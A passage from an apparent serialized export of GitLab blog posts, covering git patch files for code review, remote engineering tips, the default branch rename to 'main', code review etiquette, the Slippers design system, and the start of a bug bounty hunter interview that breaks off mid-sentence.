[VSCode](https://github.com/paragdiwan/vscode-git-patch), [Webstorm](https://www.jetbrains.com/help/webstorm/using-patches.html), [Atom](https://atom.io/packages/git-plus), and [Vim](https://vim.fandom.com/wiki/How_to_make_and_submit_a_patch).\n\n### Patch files using the command line\n\nOK command line users, you’ve made some commits, here’s your `git log`:\n\n```\ngit log --pretty=oneline -3\n\n* da33d1k - (feature_branch) Reviewer Commit 1 (7 minutes ago)\n\n* 66a84ah - (feature_branch) Developer 1 Commit (12 minutes ago)\n\n* adsc8cd - (REL-0.5.0, origin/master, origin/HEAD, master) Release 13.0 (2 weeks ago)\n\n``` javascript\n```\n\nThis command creates a new file, `reviewer_commit.patch`, with all changes from the reviewer's latest commit against the feature branch:\n\n```\n```git format-patch HEAD~1 --stdout > reviewer_commit.patch```\n\n### How to apply the patch\n\nFirst, take a look at what changes are in the patch. You can do this easily with `git apply`:\n\n```git apply --stat reviewer_commit.patch```\n```\n\nHeads up: Despite the name, this command won't actually apply the patch. It will just show the statistics about what the patch will do.\n\nSo now that we've had a look, let's test it first because not all patches are created equal:\n\n```\n```git apply --check reviewer_commit.patch```\n\nIf there are no errors we can apply this patch without worrying.\n\nTo apply the patch, you should use `git am` instead of `git apply`. The reason: `git am` allows you to sign off an applied patch with the reviewer's stamp.\n\ngit am --signoff &lt; reviewer_commit.patch\n\nApplying: Reviewer Commit 1\n\n``` javascript\n```\n\nNow run `git log` and you can see the `Signed-off-by` tag in the commit message. This tag makes it very easy to understand how this commit ended up in the codebase.\n\n### The benefits of patch files for code reviews\n\nSo now that you know how to make a shiny patch file, why would you use patch files as part of a code review process? There are a few reasons you might consider offering a patch file for a change you feel strongly about:\n\n*   It communicates you have invested a large amount of effort into understanding the author's solution and reasoning\n*   It demonstrates a passion for using teamwork to arrive at the best solution\n*   It shows the reviewer is willing to accept responsibility for this merge beyond just reading the code\n\nThere are a few alternatives to patch files for code reviews. GitLab has a [suggestion feature which allows the reviewer to suggest code changes using Markdown in a merge request](https://docs.gitlab.com/ee/user/discussions/#suggest-changes). The other option is to write raw code in Markdown right in the comment box. The downside is the reviewer doesn't have the option to test the code they are writing, making both of these options prone to error.\n\nIt is better to use a patch file because it involves the code reviewer in the review process in a collaborative way by default. In order to generate a patch, the reviewer must pull down the code, write the patch, test the change, and then submit it for the code author's consideration. Patch files increase the visibility for the reviewer and offers a fully collaborative experience for the code author.\n\nSome people might argue patch files are a cheeky way for a reviewer to force a change they would rather see make it into the codebase, but I believe that anyone who has taken the time to check out a branch, run the project, implement a change, and then submits that change back for a discussion is fully embracing collaboration.\n\nGitLab is evaluating whether to make patch files [part of the code review and merge request workflow](https://gitlab.com/gitlab-org/gitlab/-/issues/220044).\n\nLearn more about [the role of fairness in code review in part one of our blog series](/blog/tips-for-better-code-review/). Up next we explain why shipping small merge requests is in line with our iteration value.\n",[1207,676],{"slug":19252,"featured":6,"template":678},"patch-files-for-code-review","content:en-us:blog:patch-files-for-code-review.yml","Patch Files For Code Review","en-us/blog/patch-files-for-code-review.yml","en-us/blog/patch-files-for-code-review",{"_path":19258,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19259,"content":19264,"config":19269,"_id":19271,"_type":16,"title":19272,"_source":17,"_file":19273,"_stem":19274,"_extension":20},"/en-us/blog/best-practices-remote-engineering",{"title":19260,"description":19261,"ogTitle":19260,"ogDescription":19261,"noIndex":6,"ogImage":14699,"ogUrl":19262,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19262,"schema":19263},"5 Ways to level up your remote engineering skills","A round-up of our blog posts unpacking the top tips for working remotely as an engineer.","https://about.gitlab.com/blog/best-practices-remote-engineering","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Ways to level up your remote engineering skills\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2021-03-12\",\n      }",{"title":19260,"description":19261,"authors":19265,"heroImage":14699,"date":19266,"body":19267,"category":6634,"tags":19268},[17272],"2021-03-12","\n\nThe COVID-19 pandemic means many engineering teams have made the shift from working under one roof to [working remotely](/company/culture/all-remote/guide/). For some companies that [change could be permanent](https://www.businessinsider.com/salesforce-employees-can-work-from-home-permanently-2021-2). At GitLab, this is how we've always worked. This round-up consolidates some of the top insights from leaders in the all-remote space, and also includes a number of best practices engineering teams of all sizes can replicate.\n\n## 1. Embrace a remote-first culture\n\nTwo HubSpot team members joined GitLab Virtual Commit, our user conference, to talk about how discarding a remote-friendly culture in favor of a remote-first culture helped build a more inclusive workplace. Watch the video below to learn more about HubSpot's move to remote.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/zULmuyw3P38\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## 2. Be a thoughtful manager\n\nLet’s be honest, managing an all-remote, globally distributed team is different from managing when you’re all in the office. [Engineering managers at GitLab share their tips for being a thoughtful and effective team leader – from a distance](/blog/tips-for-managing-engineering-teams-remotely/).\n\n## 3. Cut down on Zoom fatigue\n\nEvery engineering manager we talked to suggested cutting down on the number of meetings and make the pivot to asynchronous work. In this session from GitLab Virtual Commit, Luke Thomas with Friday.app explains how to make the transition.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/o1L_ztow1jk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nNeed to cut down on Zoom fatigue but still require weekly discussions? The GitLab Support team got creative and [turned their weekly department meeting into a podcast](/blog/how-we-turned-40-person-meeting-into-a-podcast/ ). Now, team members can catch up on the latest developments on their own time and off-camera.\n\n## 4. Some advice on engineering together while apart\n\n[Collaboration on an all-remote team takes practice](/blog/engineering-teams-collaborating-remotely/). GitLab team members we interviewed suggest embracing asynchronous communication, share suggestions for onboarding new engineers, and more.\n\nWatch this video from GitLab Virtual Commit to dive deeper into best practices for remote onboarding engineers.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/tdWxlpN8dUk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nPair programming is great for problem solving tricky code, but when you work on an all-remote team, you can’t just pull up a chair and get it done. [Our remote pairing enthusiasts share four tips on how to make it happen](/blog/remote-pair-programming-tips/).\n\nWhen it comes to pairs, [nothing goes together better than Agile software development and all-remote work practices](/blog/agile-for-remote-work/). GitLab (the product) is built on Agile principles and facilitates remote collaboration while GitLab (the company) is made up of a globally distributed workforce.\n\n## 5. Always know your results\n\nGitLab is a [results-driven company](https://handbook.gitlab.com/handbook/values/#results), meaning we care about what you achieve than how you achieve it. To measure your engineering productivity, we suggest calculating your merge request (MR) rate. [Read on to learn why this metric matters](/blog/measuring-engineering-productivity-at-gitlab/).\n\n## Bonus: Learn more about remote work\n\nWe have a number of resources to help engineering teams up-level their all-remote work. Here are a few places to start:\n\n- [How to manage a remote team](https://www.coursera.org/learn/remote-team-management): Join nearly 17,000 people in taking the Coursera class we created to help newly remote teams. Learn how to manage a remote team (for free).\n- Get the [GitLab guide to all-remote work](/company/culture/all-remote/guide/): We round-up lots of remote work tips in our all-remote section of the GitLab Handbook.\n- Check out more resources on our [all-remote hub](/company/culture/all-remote/), including our 2021 Remote Playbook, the Remote Manifesto, and more.\n",[3798],{"slug":19270,"featured":6,"template":678},"best-practices-remote-engineering","content:en-us:blog:best-practices-remote-engineering.yml","Best Practices Remote Engineering","en-us/blog/best-practices-remote-engineering.yml","en-us/blog/best-practices-remote-engineering",{"_path":19276,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19277,"content":19283,"config":19289,"_id":19291,"_type":16,"title":19292,"_source":17,"_file":19293,"_stem":19294,"_extension":20},"/en-us/blog/new-git-default-branch-name",{"title":19278,"description":19279,"ogTitle":19278,"ogDescription":19279,"noIndex":6,"ogImage":19280,"ogUrl":19281,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19281,"schema":19282},"The new Git default branch name","Why we're joining the Git community and updating \"master\" to \"main\".","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681942/Blog/Hero%20Images/git_gitlab.jpg","https://about.gitlab.com/blog/new-git-default-branch-name","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The new Git default branch name\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Daniel Gruesso\"}],\n        \"datePublished\": \"2021-03-10\",\n      }",{"title":19278,"description":19279,"authors":19284,"heroImage":19280,"date":19286,"body":19287,"category":736,"tags":19288},[19285],"Daniel Gruesso","2021-03-10","\n\n**Note:** We have added release 13.12 to our release schedule. 13.12 is due to ship on 2021-05-22. This will cause the next major release 14.0 to ship in June instead of May as originally stated. The below content has been updated to reflect the new release date for 14.0 of 2021-06-22.\n{: .note}\n\nEvery Git repository has an initial or original branch, which is the first branch to be created when a new repository is generated. Historically, the default name for this initial branch was `master`. This term came from Bitkeeper, a predecessor to Git. Bitkeeper referred to the source of truth as the \"master repository\" and other copies as \"slave repositories\". This shows how common master/slave references have been in technology, and the difficulty in knowing how the term master should be interpreted.\n\n## A more descriptive and inclusive name\n\nThe Git project maintainers, in coordination with the broader community, have been listening to the development community’s feedback on determining a more descriptive and inclusive name for the default or primary branch and offering users options to change the name of the default branch name (usually `master`) of their repository. There have already been significant steps toward this goal:\n\n* Git 2.28.0, released in July 2020, introduced the `init.defaultBranch` configuration option, which allows Git users to define and configure a default branch name other than `master`. [In June 2020, the Software Freedom Conservancy released a statement](https://sfconservancy.org/news/2020/jun/23/gitbranchname/) summarizing why the default term `master` is offensive to many users because of its history.\n\n* Git maintainers are actively working toward a permanent change for the default name from `master` to `main`. You can read more about this change on [this post from the Git mailing list](https://lore.kernel.org/git/pull.656.v4.git.1593009996.gitgitgadget@gmail.com/). A large part of this effort involves [updating all existing tests](https://lore.kernel.org/git/xmqqa6vf437i.fsf@gitster.c.googlers.com/T/#t) in the Git project.\n\n## Changing GitLab's default branch name\n\nGitLab has already introduced changes that allow users to change the default branch name both at the [instance level](https://docs.gitlab.com/ee/user/project/repository/branches/default.html) (for self-managed users) and at the [group level](https://docs.gitlab.com/ee/user/project/repository/branches/default.html) (for both SaaS and self-managed users). To further align with the community, we will make the following changes in the upcoming releases:\n\n1. **Default branch name changes for GitLab.com and self-managed users**: When creating a new project in GitLab, the default branch name will change from `master` to `main`. We are planning to implement this change in two phases:\n\n    * Phase 1 (GitLab.com): We plan to update GitLab's underlying Git version to 2.31.0 as part of GitLab’s 13.11 release, shipping on April 22, 2021. We will additionally change the default branch name on GitLab.com from `master` to `main` on May 24th, 2021.\n\n    * Phase 2 (Self-managed): We will change the default branch name from `master` to `main` for self-managed GitLab as part for our next major release 14.0, shipping on June 22, 2021. Any project created in GitLab post 14.0 will use the new default. This does not affect existing projects.\n\n    - **Action required**: When upgrading a self-managed instance to GitLab 14.0, new projects created via the [GitLab GUI](/pricing/feature-comparison/) will use `main` as the default branch name. If your project is running CI/CD jobs configured in another project, hard-coded references to the `master` branch will need to be updated to use either `main` or to use a default branch name [CI/CD variable](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html), such as `CI_DEFAULT_BRANCH`. You can continue to use `master` by configuring a [custom default branch name](https://docs.gitlab.com/ee/user/group/#custom-initial-branch-name).\n\n1. **Default branch name change for the GitLab project (and its related projects)**: The [GitLab project](https://gitlab.com/gitlab-org/gitlab) and its related projects will change their default branch name from `master` to `main`. Some projects have already been updated (for example [GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell)) and we plan to update the rest between now and the release of 14.0 on June 22, 2021.\n\n    - **Action required**: If during the switchover you created a contribution for the GitLab project and are still using the `master` branch locally, you will need to rebase your changes prior to pushing to consume the new default branch name of `main`.\n\nPlease note this **will only affect new projects** created in GitLab. Existing projects will not be affected. You can learn more about the change in the [default branch rename epic](https://gitlab.com/groups/gitlab-org/-/epics/3600).\n\nWe welcome the use of `main` as a more inclusive default branch name and are happy to see that our peers at [GitHub](https://github.blog/changelog/2020-10-01-the-default-branch-for-newly-created-repositories-is-now-main/) and [Atlassian](https://bitbucket.org/blog/moving-away-from-master-as-the-default-name-for-branches-in-git) also support this change.\n",[1067],{"slug":19290,"featured":6,"template":678},"new-git-default-branch-name","content:en-us:blog:new-git-default-branch-name.yml","New Git Default Branch Name","en-us/blog/new-git-default-branch-name.yml","en-us/blog/new-git-default-branch-name",{"_path":19296,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19297,"content":19303,"config":19308,"_id":19310,"_type":16,"title":19311,"_source":17,"_file":19312,"_stem":19313,"_extension":20},"/en-us/blog/tips-for-better-code-review",{"title":19298,"description":19299,"ogTitle":19298,"ogDescription":19299,"noIndex":6,"ogImage":19300,"ogUrl":19301,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19301,"schema":19302},"How to write a more thoughtful code review","The best code reviews are empathetic and fair. We explain best practices for providing feedback.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663502/Blog/Hero%20Images/paperclips.jpg","https://about.gitlab.com/blog/tips-for-better-code-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to write a more thoughtful code review\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2021-03-09\",\n      }",{"title":19298,"description":19299,"authors":19304,"heroImage":19300,"date":19305,"body":19306,"category":734,"tags":19307},[2680],"2021-03-09","\n\nThis post is adapted from a [GitLab Unfiltered blog post](/blog/better-code-reviews/) written by [David O'Regan](/company/team/#oregand).\n{: .note .alert-info .text-center}\n\nFeedback matters to our personal and professional lives and software is no different. We deliver most if not all of our feedback to one another at GitLab using code reviews. We’re sharing some of our tools for you to add to your toolbelt when it comes to code reviews. In this post (the first of a three-part series) we share communication strategies for authors and reviewers.\n\n## Remember: Details matter for self-reviews\n\nAt GitLab, the [responsibility for the code lies with the merge request author](https://docs.gitlab.com/ee/development/code_review.html#the-responsibility-of-the-merge-request-author). We suggest code authors create a checklist to ensure that your i’s are dotted and your t’s are crossed before requesting a review. Here is an example MR checklist:\n\nBefore every feedback cycle:\n\n*   Re-read every line.\n*   Test your code locally.\n*   Write a test for every change (or as many as you can).\n*   Write a clear description and update it after each feedback cycle.\n*   Include at least one screenshot per change. More is better.\n*   Check and re-check your [labels](https://docs.gitlab.com/ee/user/project/labels.html). Then check them again.\n*   Consider using a ~\"workflow::refinement\" label for issues ahead of time as we do in the [Monitor:Health team](/handbook/engineering/development/ops/monitor/respond/). Read the documentation to [learn more about scoped labels](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels).\n*   Review the code as if you were the reviewer. Be proactive, answer the likely questions, and open follow-up issues ahead of time.\n*   If you want to see the last and most important part in the action, see how one of our frontend maintainers [Natalia Tepluhina](/company/team/#ntepluhina) [pre-answered a question she knew would be asked in one of her merge requests](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33587#note_353564612).\n\n## Communicate with good intentions\n\nOne of the hardest parts of getting a code review right is communicating the human touch. When we give and receive feedback, human habit can create cognitive distortion by defaulting to the most negative aspects of that feedback. At GitLab, we try to highlight the importance of assuming positive intent by incorporating it in our [value system](https://handbook.gitlab.com/handbook/values/#assume-positive-intent).\n\n### How the conventional comments system can help in code review\n\nTo give feedback more effectively, try the [conventional comments system](https://conventionalcomments.org/), which was developed by senior frontend engineer, [Paul Slaughter](/company/team/#pslaughter). The conventional comments system calls for writing comments in a way that is useful for the reviewer and author of the merge request. It's so popular that one person made a browser extension (Chrome, Firefox) for it.\n\nThe convention comment system calls for starting a comment with a single, eye-catching word that defines the intent and tone for the comment. This method gives the reader a chance to understand where your comment is coming from.\n\nLet's try an experiment. If you submitted code for review, which comment would you prefer to read?\n\nOption one: What do you think about X instead?\n\nOption two: **suggestion (non-blocking)**\nWhat do you think about X instead?\n\nYou likely chose option two because it provided context for the comment, communicated empathy, and was framed as an invitation to try a different approach, instead of being written as a command or mandatory change.\n\nThe magic part of this comment is the first line **suggestion (non-blocking)**. Straight away, before you even read the comment, you know the two most important things about it:\n\n*   It's a suggestion from the reviewer\n*   It's non-blocking. Which means it's more of a friendly suggestion than a hard change that's necessary for the stability of the code.\n\nAnother advantage to this style of commenting is it allows merge request authors to understand the reviewer is not blocking their work. By highlighting what counts as a blocking and non-blocking comment, merge authors get the full context of what the reviewer is trying to communicate.\n\nFor example, you have submitted a merge request for review and your review comes back with eight comments.\n\nThe first option has no context in the comments. All comments are treated equally because they lack context for what counts as a blocker and what doesn't.\n\nOption two contextualizes comments using the conventional comments system. The comments can be treated by priority:\n\n*   Blockers: What needs to get the merge over the line.\n*   Non-blockers: What can be a separate merge or perhaps will spark a discussion.\n\nNext time you're reviewing code, try using the conventional comments approach. Pay attention to how it affects the way the merge request author responds to the review but also how you, the reviewer, feel leaving the review. We are considering integrating this feature directly into GitLab because we believe in making GitLab the best possible place for code reviews.\n\nIf you want to see a real-life example of some of Paul's work using conventional comments, check out [his reviews of my community contributions](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/24897) here at GitLab – you’ll see his empathy really shines through.\n\n## The role of \"fairness\" in code review\n\nIn many ways, code review is a form of negotiation, where the result of the negotiation is a selection of code that's valuable and held to a high standard. Central to being a good code reviewer (and good negotiator) is fairness. In fact, being a fair negotiator is often the most useful tool for code authors and code reviewers.\n\nFairness is actually mentioned twice in the [permissions to play guidelines](https://handbook.gitlab.com/handbook/values/#permission-to-play) at GitLab:\n\n*   \"Be dependable, reliable, fair, and respectful.\"\n*   \"Seek out ways to be fair to everyone.\"\n\n### How to be a fair author\n\nIn many ways, being a fair author is the easiest. Here are a few simple Dos and Don'ts to remember:\n\n**Do:**\n\n*   Write a proper description with screenshots (can't stress this one enough!)\n*   Understand a reviewer’s point of view when they make suggestions\n*   Address any strange parts of your merge upfront (we all have them)\n*   Be [open to collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) on your work\n\n**Don't:**\n\n*   \"plz merge\"\n*   Be closed off or take offense to suggestions\n*   Forget to include any steps necessary for the build to run (or in other words, reduce the burden where possible)\n\nHonestly, it's pretty simple to be a fair author of a merge request. Even the smallest amount of empathy goes a long way, particularly when you remember that the person reviewing your code gets nothing extra for their efforts. They just want to help take your merge to the next level.\n\n### How to be a fair reviewer\n\nBeing fair as a reviewer is a bit more challenging because every individual has opinions or biases about how a piece of code should be written. Bias is something we all deal with when it comes to how we want things to be because we all have our own styles, preferences, and ideas about how software should be written.\n\nBias can create problems when it comes to code reviews because it's common for personal preferences to emerge when reviewing someone else's code. The typical reviewer might catch themselves thinking in absolutes, and the number of unresolved comments grows.\n\nIf you have ever reviewed a merge request and found yourself thinking things like:\n\n*   \"It should be written like this\"\n*   \"Why would they do it like that?\"\n*   \"I would have done it this way\"\n*   \"That's not how that should be done!\"\n\nIf this sounds familiar, then you may have fallen victim to a common cognitive distortion: Should/must statements.\n\nIt is important for any reviewer to remember that just because a code author wrote code in a different style or manner from you, doesn't mean that the code is written incorrectly. If you catch yourself writing a review comment that includes the words \"should\" or \"must\" then you ought to take a step back and think about whether your suggestions are coming from a place of fairness or a place of bias. Ask yourself: Is the use of absolutes warranted here? Sometimes it will be both fair and warranted. One example is if your company follows a set of coding conventions like we do at GitLab. Stay vigilant for times when those statements are a thin veil for a personal preference.\n\nIf you do need to use a should/must statement, be sure to back up your assertions with documentation to help the code author understand why a change must be made.\n\nTypically, the fair response to something you don't agree with is to ask _why_ an author wrote code this way, instead of saying it must be another way.\n\nThis is part one of a three-part series on code review. Up next we will be explaining why patch files are a useful tool for reviewers.\n\nIf you have questions or comments about code reviews, creating smaller MRs, or iteration, leave us a comment on this blog post!\n\n_Sara Kassabian contributed to this blog post._\n\nCover image by [Jackson Simmer](https://unsplash.com/@simmerdownjpg) on [Unsplash](https://unsplash.com/photos/Vqg809B-SrE).\n{: .note}\n",[1207],{"slug":19309,"featured":6,"template":678},"tips-for-better-code-review","content:en-us:blog:tips-for-better-code-review.yml","Tips For Better Code Review","en-us/blog/tips-for-better-code-review.yml","en-us/blog/tips-for-better-code-review",{"_path":19315,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19316,"content":19321,"config":19327,"_id":19329,"_type":16,"title":19330,"_source":17,"_file":19331,"_stem":19332,"_extension":20},"/en-us/blog/starting-from-the-start-slippers-design-system",{"title":19317,"description":19318,"ogTitle":19317,"ogDescription":19318,"noIndex":6,"ogImage":18718,"ogUrl":19319,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19319,"schema":19320},"Why design systems benefit everyone","Learn how the GitLab digital experience team built the Slippers design system for our marketing website.","https://about.gitlab.com/blog/starting-from-the-start-slippers-design-system","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why design systems benefit everyone\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Stephen McGuinness\"}],\n        \"datePublished\": \"2021-03-05\",\n      }",{"title":19317,"description":19318,"authors":19322,"heroImage":18718,"date":19324,"body":19325,"category":734,"tags":19326},[19323],"Stephen McGuinness","2021-03-05","\n\nThe [Digital Experience team](/handbook/marketing/digital-experience/) is new at GitLab, but we spent the past few months [creating Slippers, a new design system, which is a centralized location for design assets and code](https://gitlab.com/gitlab-com/marketing/digital-experience/slippers-ui). This blog post explains how we managed to build a design system in record time and accounts for how we overcame some of the challenges we encountered along the way.\n\nWe built Slippers because we needed a design system that we could rapidly iterate on and that would scale. We needed to use technologies that offered a single source of truth so our growing team could build on the repo. This process is not without its frustrations – what can work for one team might not work for the entire marketing department. In the past, discrepancies in design would happen because we didn't have a style guide.\n\nFortunately, creating a system that can respond to quick iterations can provide a solution to this complex problem. But \"simple\" in this case is misleading. We needed a new way of thinking and working. It is not enough to create a UI kit of consistent design assets for your designers to work with, doing this alone will fall at the first hurdle if it is not reflected in a coded repo. Designs will produce variations over time. Technical and design debt builds up due to small changes made over time and you end up where you started – with fragmented design and code.\n\nTime and effort as well as a vision are necessary to create a design system solution. This is the place our new team was at near the end of 2020. An already bizarre year for many, this was a great time to create a team to tackle this technical challenge head-on.\n\n## Why design systems are for everyone\n\nA common misconception of a design system is that it is for designers. You create a UI kit, hand it to developers, and you are off to the races. While a UI kit is important to the success of a system, it is just one part of what is a technical and efficient product.\n\nOur goal was to create a reusable library of assets, which included design assets (typestack, colors, spacing, grid, buttons, etc.) along with documentation on usage criteria. This is a big project that requires a lot of effort. First, we aligned around a common vision and product architecture. I want to emphasize \"product\" because this system acts as a product serving multiple teams across GitLab. Next, we rallied our team around a common goal and got to work. Our team established a set of guiding principles that would always act as our anchor for the project. [You can read more about them here](https://gitlab.com/gitlab-com/marketing/digital-experience/slippers-ui).\n\n*\"The more decisions you put off, and the longer you delay them, the more expensive they become.\"*\n\n**―[Craig Villamor](https://www.linkedin.com/in/craigvillamor), senior design director of Google Maps**\n\nWe found this quote from Craig in a [Medium post about the benefits of design systems](https://medium.com/agileactors/7-quotes-about-design-systems-that-will-inspire-you-9a89557fb26f). His remarks describe the dangers of putting off building a design system for too long. The fact is, the longer you design without a clear system and rubric, the more tech and design debt accumulates.\n\n## How we built the design system\n\nProducts exist to solve problems, so we articulated our vision with working sessions. The sessions were a platform for aligning our vision based on what we considered maintainable design and technology.\n\nOnce we aligned on our guiding principles we set about creating a roadmap. Our team decided how we wanted our product to be built, and agreed on tooling, tech stacks, and a cadence of delivery during our working sessions.\n\nWe decided on Figma for design since this was already being used within GitLab. Next, we created our core elements along with some [baseline components such as type, color, and spacing for the design system](https://www.figma.com/file/nWIOpmuMp7RZXmfTj6ujAF/Slippers_foundations?node-id=1292%3A573). We used existing pages as templates to refactor and give us a broader idea of what was and was not working. This process gave our developers time to investigate the best way to code our product and determine what shape it would take.\n\n## The value of a shared language\n\nOur engineering team started working on our tech stack and our designers started to work on what we called our \"foundations\". This can also be referred to as \"elements\". We did this in a way so we could stress-test our foundations package by refactoring existing pages with new styles that gave us an idea of the direction of our design system.\n\nNext, we applied these core elements to a select sample of pages to act as a proof of concept. We chose to edit the [homepage](https://about.gitlab.com/), [enterprise page](/enterprise/), [pricing page](/pricing/), and [entire GitLab Blog section](/blog/). We identified pain points and apply stop-gaps along the way. Since we are [results-driven](https://handbook.gitlab.com/handbook/values/#results), we used local CSS (Cascading Style Sheets) tightly coupled to the site itself. The perk of this approach is that you can deliver results quickly. After doing some UX and UI refinements on these pages, introducing new technology was easier because each of the pages are actively maintained. We used this time to learn and apply this practice to improve the system.\n\n## What's next\n\nThough the Digital Experience team has only been established for four months we've made huge inroads. We are starting to see how the Slippers design system will look once it is implemented across the entire organization.\n\nBuilding the Slippers design system is an example of a research and development (R&D) project. By laying out these foundations, we are set up for large-scale learning and success. The team is continuously gathering data for this R&D project and using it to better inform and refine our design system.\n\nAlso, since GitLab is open source, we are factoring open source values into our Slippers roadmap. We do this through posting our video updates to our partners and [public YouTube videos](https://www.youtube.com/c/GitLabUnfiltered/featured).\n\nThe reality is, this work takes time and investment. There is a herculean effort still left for us to bring the system fully to life. But already we have demonstrated the value of a design system to our leadership by delivering more than 2000 new CMS pages.\n\nEven at this very early stage the Slippers project has been rewarding and provides us with a continuous source of valuable insights. We're encouraged to push the boundaries and take calculated risks in what we learn and what we do.\n\nStay up-to-speed on our progress by checking out our [Slippers project](https://gitlab.com/gitlab-com/marketing/digital-experience/slippers-ui) and [watching our team videos on GitLab Unfiltered](https://www.youtube.com/c/GitLabUnfiltered/featured).\n\nCover photo by [Nihal Demirci](https://unsplash.com/@nihaldemirci?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/0ME-BIUBmUs)\n{: .note}\n",[2368,676,2250,2249],{"slug":19328,"featured":6,"template":678},"starting-from-the-start-slippers-design-system","content:en-us:blog:starting-from-the-start-slippers-design-system.yml","Starting From The Start Slippers Design System","en-us/blog/starting-from-the-start-slippers-design-system.yml","en-us/blog/starting-from-the-start-slippers-design-system",{"_path":19334,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19335,"content":19341,"config":19346,"_id":19348,"_type":16,"title":19349,"_source":17,"_file":19350,"_stem":19351,"_extension":20},"/en-us/blog/ajxchapman-ask-a-hacker",{"title":19336,"description":19337,"ogTitle":19336,"ogDescription":19337,"noIndex":6,"ogImage":19338,"ogUrl":19339,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19339,"schema":19340},"Ask a hacker: ajxchapman","We talk with bug bounty hunter Alex Chapman about his favorite type of vulnerability to research and the one piece of security advice he’d offer to the company he hacks.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670926/Blog/Hero%20Images/bug-bounty-ask-a-hacker.png","https://about.gitlab.com/blog/ajxchapman-ask-a-hacker","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ask a hacker: ajxchapman\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2021-03-04\",\n      }",{"title":19336,"description":19337,"authors":19342,"heroImage":19338,"date":19343,"body":19344,"category":674,"tags":19345},[12307],"2021-03-04","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\n![Alex Chapman profile](https://about.gitlab.com/images/blogimages/ajxchapman/ajxchapman_profile.png){: .medium.center}\n\n\n**We asked bug bounty hunter Alex Chapman a bunch of questions about the history of his hack and he was gracious enough to drop some knowledge on us.**\n\n\n\n## The art of the hack\n\n#### Why do you hack?\nI first learned about hacking as a concept from the film Hackers, my brother had recorded it on VHS and I found it sitting in the VCR one day. From that point on I knew this was something I wanted to be a part of, so I spent all the time I could learning about programming and hacking. Starting with programming `Hello World!` in Visual Basic around age 12, I progressed to reverse engineering `crackmes` and playing hacking wargames throughout my teens. It wasn’t until I finished my undergraduate degree that I discovered that I could actually get a job hacking companies legally, and so I became a penetration tester.\n\n#### Why hack on GitLab’s BBP?\nI spend time on the GitLab Bug Bounty Program because I am a GitLab user, it’s open source so I can review the code, and frankly the reward table for high and critical impact bugs is among the best of all Bug Bounty programs.\n\nI much prefer white or grey box bug hunting, where I have access to source code or compiled binaries, over the more common black box style web bug hunting. So with access to the GitLab code I can attempt to spot patterns, analyse fixes and look for more fiddly bugs that would be very difficult to find without the source. On top of this, having access to the issues where bugs are fixed and discussed gives real insight into the inner workings of GitLab developers, and helps find more creative bugs.\n\n#### What is the most significant piece of security advice you could provide to the companies you hack?\nHave a clear policy for the reporting of security vulnerabilities. Whether it’s a vulnerability disclosure policy, security.txt, security@ email alias (or ideally all three), have a clearly defined method to contact your security team directly.\nThe amount of time I have wasted during my career trying to report security vulnerabilities to companies is ridiculous. I’ve been directed to support, to sales(!), been told I can’t report a vulnerability without having purchased a support contract, been threatened with legal action and been ignored.\nIf I come across a security vulnerability in one of your products or services I actively want to report it so you can fix it, not for my benefit but for yours and your customers. Make it easy for me.\n\n*_Editor’s note: 💯  We hope our process is easy and straightforward when it comes to responsible disclosure! We outline three ways to disclose a bug on [this handbook page](/security/disclosure/), including via our [HackerOne program](https://hackerone.com/gitlab), a confidential GitLab issue, or via email._\n\n#### Do you hack full-time or part-time? Why?\nI have been a professional hacker since 2007, with an interest in hacking for many years before. I spent ~11 years as a consultant penetration tester and Red Teamer, and started to get interested in bug bounty in the latter few years. After losing my first daughter in 2018 I quit work to focus on recovery and self care, and after a period I started to spend more time on bug bounty hacking. I committed to bug hunting full time in April 2019.\nNearly two years later, I’m happy to say I still enjoy finding bugs and thus far it has 